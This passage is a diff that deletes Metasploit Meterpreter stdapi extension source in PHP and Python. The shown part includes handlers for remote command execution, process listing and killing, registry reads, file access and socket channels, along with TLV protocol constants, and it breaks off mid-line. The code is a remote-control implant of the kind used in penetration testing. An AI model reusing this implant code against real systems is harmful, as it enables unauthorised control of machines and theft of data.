array('pipe','w')); - if (is_windows()) { - # see http://us2.php.net/manual/en/function.proc-open.php#97012 - array_push($pipe_desc, array('pipe','a')); - } else { - array_push($pipe_desc, array('pipe','w')); - } - - # Now that we've got the command built, run it. If it worked, we'll send - # back a handle identifier. - $handle = proc_open($real_cmd, $pipe_desc, $pipes); - if (!is_resource($handle)) { - return ERROR_FAILURE; - } - - if (is_callable('proc_get_status')) { - $status = proc_get_status($handle); - $pid = $status['pid']; - } else { - $pid = 0; - } - - $proc = array( 'handle' => $handle, 'pipes' => $pipes ); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); - if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { - my_print("Channelized"); - # Then the client wants a channel set up to handle this process' stdio, - # register all the necessary junk to make that happen. - foreach ($pipes as $p) { - register_stream($p); - } - #stream_set_blocking($pipes[0], 1); - #stream_set_blocking($pipes[1], 1); - #stream_set_blocking($pipes[2], 1); - - $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); - $channel_process_map[$cid] = $proc; - - $proc['cid'] = $cid; - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - #} else { - # Otherwise, don't care about stdin/stdout, just run the command - } - - $processes[] = $proc; - - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_sys_process_close')) { -register_command('stdapi_sys_process_close'); -function stdapi_sys_process_close($req, &$pkt) { - global $processes; - my_print("doing process_close"); - $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); - if (array_key_exists($handle_tlv['value'], $processes)) { - close_process($processes[$handle_tlv['value']]); - } - - return ERROR_SUCCESS; -} -} - -if (!function_exists('close_process')) { -function close_process($proc) { - if ($proc) { - my_print("Closing process handle {$proc['handle']}"); - # In the case of a channelized process, this will be redundant as the - # channel_close will also try to close all of these handles. There's no - # real harm in that, so go ahead and just always make sure they get - # closed. - foreach ($proc['pipes'] as $f) { - @fclose($f); - } - if (is_callable('proc_get_status')) { - $status = proc_get_status($proc['handle']); - } else { - # fake a running process on php < 4.3 - $status = array('running' => true); - } - - # proc_close blocks waiting for the child to exit, so if it's still - # running, don't take a chance on deadlock and just sigkill it if we - # can. We can't on php < 4.3, so don't do anything. This will leave - # zombie processes, but that's better than deadlock. - if ($status['running'] == false) { - proc_close($proc['handle']); - } else { - if (is_callable('proc_terminate')) { - proc_terminate($proc['handle'], 9); - } - } - if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { - unset($channel_process_map[$proc['cid']]); - } - } -} -} - -# Works, but not very portable. There doesn't appear to be a PHP way of -# getting a list of processes, so we just shell out to ps/tasklist.exe. I need -# to decide what options to send to ps for portability and for information -# usefulness. -if (!function_exists('stdapi_sys_process_get_processes')) { -register_command('stdapi_sys_process_get_processes'); -function stdapi_sys_process_get_processes($req, &$pkt) { - my_print("doing get_processes"); - $list = array(); - if (is_windows()) { - # This command produces a line like: - # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" - $output = my_cmd("tasklist /v /fo csv /nh"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - $line = trim($line); - # - # Ghetto CSV parsing - # - $pieces = preg_split('/","/', $line); - # Strip off the initial quote on the first and last elements - $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); - $cnt = count($pieces) - 1; - $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); - - $proc_info = array($pieces[1], $pieces[6], $pieces[0]); - array_push($list, $proc_info); - } - } else { - # This command produces a line like: - # 1553 root /sbin/getty -8 38400 tty1 - $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - array_push($list, preg_split("/\s+/", trim($line))); - } - } - foreach ($list as $proc) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); - # Strip the pid and the user name off the front; the rest will be the - # full command line - array_shift($proc); - array_shift($proc); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); - } - return ERROR_SUCCESS; -} -} - -# works -if (!function_exists('stdapi_sys_process_getpid')) { -register_command('stdapi_sys_process_getpid'); -function stdapi_sys_process_getpid($req, &$pkt) { - my_print("doing getpid"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_process_kill')) { -register_command('stdapi_sys_process_kill'); -function stdapi_sys_process_kill($req, &$pkt) { - # The existence of posix_kill is unlikely (it's a php compile-time option - # that isn't enabled by default, but better to try it and avoid shelling - # out when unnecessary. - my_print("doing kill"); - $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); - $pid = $pid_tlv['value']; - if (is_callable('posix_kill')) { - $ret = posix_kill($pid, 9); - $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); - if ($ret != ERROR_SUCCESS) { - my_print(posix_strerror($ret)); - } - } else { - $ret = ERROR_FAILURE; - if (is_windows()) { - my_cmd("taskkill /f /pid $pid"); - # Don't know how to check for success yet, so just assume it worked - $ret = ERROR_SUCCESS; - } else { - if ("foo" == my_cmd("kill -9 $pid && echo foo")) { - $ret = ERROR_SUCCESS; - } - } - } - return $ret; -} -} - -if (!function_exists('stdapi_net_socket_tcp_shutdown')) { -register_command('stdapi_net_socket_tcp_shutdown'); -function stdapi_net_socket_tcp_shutdown($req, &$pkt) { - my_print("doing stdapi_net_socket_tcp_shutdown"); - $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($cid_tlv['value']); - - if ($c && $c['type'] == 'socket') { - @socket_shutdown($c[0], $how); - $ret = ERROR_SUCCESS; - } else { - $ret = ERROR_FAILURE; - } - return $ret; -} -} - - - -# -# Registry -# - -if (!function_exists('register_registry_key')) { -$_GLOBALS['registry_handles'] = array(); - -function register_registry_key($key) { - global $registry_handles; - $registry_handles[] = $key; - return count($registry_handles) - 1; -} -} - -if (!function_exists('deregister_registry_key')) { -function deregister_registry_key($id) { - global $registry_handles; - $registry_handles[$id] = null; -} -} - - -if (!function_exists('stdapi_registry_create_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_create_key'); -} -function stdapi_registry_create_key($req, &$pkt) { - my_print("doing stdapi_registry_create_key"); - if (is_windows() and is_callable('reg_open_key')) { - $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); - $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); - dump_array($root_tlv); - dump_array($base_tlv); - - # For some reason the php constants for registry root keys do not have - # the high bit set and are 1 less than the normal Windows constants, so - # fix it here. - $root = ($root_tlv['value'] & ~0x80000000) + 1; - $base = $base_tlv['value']; - - my_print("reg opening '$root', '$base'"); - $key = reg_open_key($root, $base); - if (!$key) { - my_print("reg open failed: $key"); - return ERROR_FAILURE; - } - $key_id = register_registry_key($key); - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_close_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_close_key'); -} -function stdapi_registry_close_key($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_close_key"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - - reg_close_key($registry_handles[$key_id]); - deregister_registry_key($key_id); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_query_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_query_value'); -} -function stdapi_registry_query_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_query_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); - $key_id = $key_id_tlv['value']; - $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); - $name = $name_tlv['value']; - - #my_print("Looking up stored key handle $key_id"); - #dump_array($registry_handles, "Reg handles"); - $key = $registry_handles[$key_id]; - if (!$key) { - return ERROR_FAILURE; - } - $data = reg_get_value($key, $name); - my_print("Found data for $key\\$name : $data, ". is_int($data)); - # There doesn't appear to be an API to get the type, all we can do is - # infer based on what the value looks like. =( - if (is_int($data)) { - $type = REG_DWORD; - $data = pack("N", (int)$data); - } else { - $type = REG_SZ; - # The api strips the null for us, so put it back - $data = $data ."\x00"; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type)); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_set_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_set_value'); -} -function stdapi_registry_set_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_set_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - } else { - return ERROR_FAILURE; - } -} -} - - -# END STDAPI - - - -## -# Channel Helper Functions -## - -if (!function_exists('channel_create_stdapi_fs_file')) { -function channel_create_stdapi_fs_file($req, &$pkt) { - $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); - #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); - if (!$mode_tlv) { - $mode_tlv = array('value' => 'rb'); - } - $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); - - if (is_resource($fd)) { - register_stream($fd); - $id = register_channel($fd); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - return ERROR_SUCCESS; - } else { - my_print("Failed to open"); - } - return ERROR_FAILURE; -} -} - - -if (!function_exists('channel_create_stdapi_net_tcp_client')) { -function channel_create_stdapi_net_tcp_client($req, &$pkt) { - my_print("creating tcp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); - if ($retries_tlv['value']) { - $retries = $retries_tlv['value']; - } else { - $retries = 1; - } - - for ($i = 0; $i < $retries; $i++) { - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); - if ($sock) { - break; - } - } - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - -if (!function_exists('channel_create_stdapi_net_udp_client')) { -function channel_create_stdapi_net_udp_client($req, &$pkt) { - my_print("creating udp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - - # We can't actually do anything with local_host and local_port because PHP - # doesn't let us specify these values in any of the exposed socket API - # functions. - #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); - my_print("UDP channel on {$sock}"); - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - - - - diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py deleted file mode 100644 index 9e487280be..0000000000 --- a/data/meterpreter/ext_server_stdapi.py +++ /dev/null @@ -1,1581 +0,0 @@ -import fnmatch -import getpass -import os -import platform -import shlex -import shutil -import socket -import struct -import subprocess -import sys -import time - -try: - import ctypes - has_ctypes = True - has_windll = hasattr(ctypes, 'windll') -except ImportError: - has_ctypes = False - has_windll = False - -try: - import pty - has_pty = True -except ImportError: - has_pty = False - -try: - import pwd - has_pwd = True -except ImportError: - has_pwd = False - -try: - import SystemConfiguration as osxsc - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - import termios - has_termios = True -except ImportError: - has_termios = False - -try: - import _winreg as winreg - has_winreg = True -except ImportError: - has_winreg = False - -try: - import winreg - has_winreg = True -except ImportError: - has_winreg = (has_winreg or False) - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -if has_ctypes: - # - # Windows Structures - # - class SOCKADDR(ctypes.Structure): - _fields_ = [("sa_family", ctypes.c_ushort), - ("sa_data", (ctypes.c_uint8 * 14))] - - class SOCKET_ADDRESS(ctypes.Structure): - _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), - ("iSockaddrLength", ctypes.c_int)] - - class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): - _fields_ = [ - ("s", type( - '_s_IP_ADAPTER_UNICAST_ADDRESS', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("Flags", ctypes.c_uint32) - ]) - )), - ("Next", ctypes.c_void_p), - ("Address", SOCKET_ADDRESS), - ("PrefixOrigin", ctypes.c_uint32), - ("SuffixOrigin", ctypes.c_uint32), - ("DadState", ctypes.c_uint32), - ("ValidLifetime", ctypes.c_ulong), - ("PreferredLifetime", ctypes.c_ulong), - ("LeaseLifetime", ctypes.c_ulong), - ("OnLinkPrefixLength", ctypes.c_uint8)] - - class IP_ADAPTER_ADDRESSES(ctypes.Structure): - _fields_ = [ - ("u", type( - '_u_IP_ADAPTER_ADDRESSES', - (ctypes.Union,), - dict(_fields_ = [ - ("Alignment", ctypes.c_ulonglong), - ("s", type( - '_s_IP_ADAPTER_ADDRESSES', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("IfIndex", ctypes.c_uint32) - ]) - )) - ]) - )), - ("Next", ctypes.c_void_p), - ("AdapterName", ctypes.c_char_p), - ("FirstUnicastAddress", ctypes.c_void_p), - ("FirstAnycastAddress", ctypes.c_void_p), - ("FirstMulticastAddress", ctypes.c_void_p), - ("FirstDnsServerAddress", ctypes.c_void_p), - ("DnsSuffix", ctypes.c_wchar_p), - ("Description", ctypes.c_wchar_p), - ("FriendlyName", ctypes.c_wchar_p), - ("PhysicalAddress", (ctypes.c_uint8 * 8)), - ("PhysicalAddressLength", ctypes.c_uint32), - ("Flags", ctypes.c_uint32), - ("Mtu", ctypes.c_uint32), - ("IfType", ctypes.c_uint32), - ("OperStatus", ctypes.c_uint32), - ("Ipv6IfIndex", ctypes.c_uint32), - ("ZoneIndices", (ctypes.c_uint32 * 16)), - ("FirstPrefix", ctypes.c_void_p), - ("TransmitLinkSpeed", ctypes.c_uint64), - ("ReceiveLinkSpeed", ctypes.c_uint64), - ("FirstWinsServerAddress", ctypes.c_void_p), - ("FirstGatewayAddress", ctypes.c_void_p), - ("Ipv4Metric", ctypes.c_ulong), - ("Ipv6Metric", ctypes.c_ulong), - ("Luid", ctypes.c_uint64), - ("Dhcpv4Server", SOCKET_ADDRESS), - ("CompartmentId", ctypes.c_uint32), - ("NetworkGuid", (ctypes.c_uint8 * 16)), - ("ConnectionType", ctypes.c_uint32), - ("TunnelType", ctypes.c_uint32), - ("Dhcpv6Server", SOCKET_ADDRESS), - ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), - ("Dhcpv6ClientDuidLength", ctypes.c_ulong), - ("Dhcpv6Iaid", ctypes.c_ulong), - ("FirstDnsSuffix", ctypes.c_void_p)] - - class MIB_IFROW(ctypes.Structure): - _fields_ = [("wszName", (ctypes.c_wchar * 256)), - ("dwIndex", ctypes.c_uint32), - ("dwType", ctypes.c_uint32), - ("dwMtu", ctypes.c_uint32), - ("dwSpeed", ctypes.c_uint32), - ("dwPhysAddrLen", ctypes.c_uint32), - ("bPhysAddr", (ctypes.c_uint8 * 8)), - ("dwAdminStatus", ctypes.c_uint32), - ("dwOperStaus", ctypes.c_uint32), - ("dwLastChange", ctypes.c_uint32), - ("dwInOctets", ctypes.c_uint32), - ("dwInUcastPkts", ctypes.c_uint32), - ("dwInNUcastPkts", ctypes.c_uint32), - ("dwInDiscards", ctypes.c_uint32), - ("dwInErrors", ctypes.c_uint32), - ("dwInUnknownProtos", ctypes.c_uint32), - ("dwOutOctets", ctypes.c_uint32), - ("dwOutUcastPkts", ctypes.c_uint32), - ("dwOutNUcastPkts", ctypes.c_uint32), - ("dwOutDiscards", ctypes.c_uint32), - ("dwOutErrors", ctypes.c_uint32), - ("dwOutQLen", ctypes.c_uint32), - ("dwDescrLen", ctypes.c_uint32), - ("bDescr", (ctypes.c_char * 256))] - - class MIB_IPADDRROW(ctypes.Structure): - _fields_ = [("dwAddr", ctypes.c_uint32), - ("dwIndex", ctypes.c_uint32), - ("dwMask", ctypes.c_uint32), - ("dwBCastAddr", ctypes.c_uint32), - ("dwReasmSize", ctypes.c_uint32), - ("unused1", ctypes.c_uint16), - ("wType", ctypes.c_uint16)] - - class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] - - class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32)] - - class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16)] - - class TOKEN_USER(ctypes.Structure): - _fields_ = [("User", SID_AND_ATTRIBUTES)] - - # - # Linux Structures - # - class IFADDRMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("prefixlen", ctypes.c_uint8), - ("flags", ctypes.c_uint8), - ("scope", ctypes.c_uint8), - ("index", ctypes.c_int32)] - - class IFINFOMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("pad", ctypes.c_int8), - ("type", ctypes.c_uint16), - ("index", ctypes.c_int32), - ("flags", ctypes.c_uint32), - ("chagen", ctypes.c_uint32)] - - class NLMSGHDR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint32), - ("type", ctypes.c_uint16), - ("flags", ctypes.c_uint16), - ("seq", ctypes.c_uint32), - ("pid", ctypes.c_uint32)] - - class RTATTR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint16), - ("type", ctypes.c_uint16)] - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 - -## -# General -## -TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 -TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 - -## -# Fs -## -TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 -TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 -TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 -TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 -TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 -TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 - -TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 - -TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 -TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 -TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 -TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 - -## -# Net -## -TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 -TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 -TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 -TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 -TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 - -TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 -TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 -TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 -TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 -TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 - -TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 -TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 -TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 -TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 -TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 - -TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 -TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 -TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 -TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 -TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 - -## -# Socket -## -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 -TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 - -TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 - -## -# Registry -## -TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 -TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 - -## -# Config -## -TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 -TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 -TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 -TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 -TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 - -## -# Environment -## -TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 -TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101 -TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 - -DELETE_KEY_FLAG_RECURSIVE = (1 << 0) - -## -# Process -## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 -TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 -TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 -TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 -TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 -TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 -TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 -TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 -TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 -TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 -TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 -TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 -TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 -TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 -TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 -TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 - -TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 -TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 -TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 -TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 -TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 - -TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 -TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 -TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 -TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 - -TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 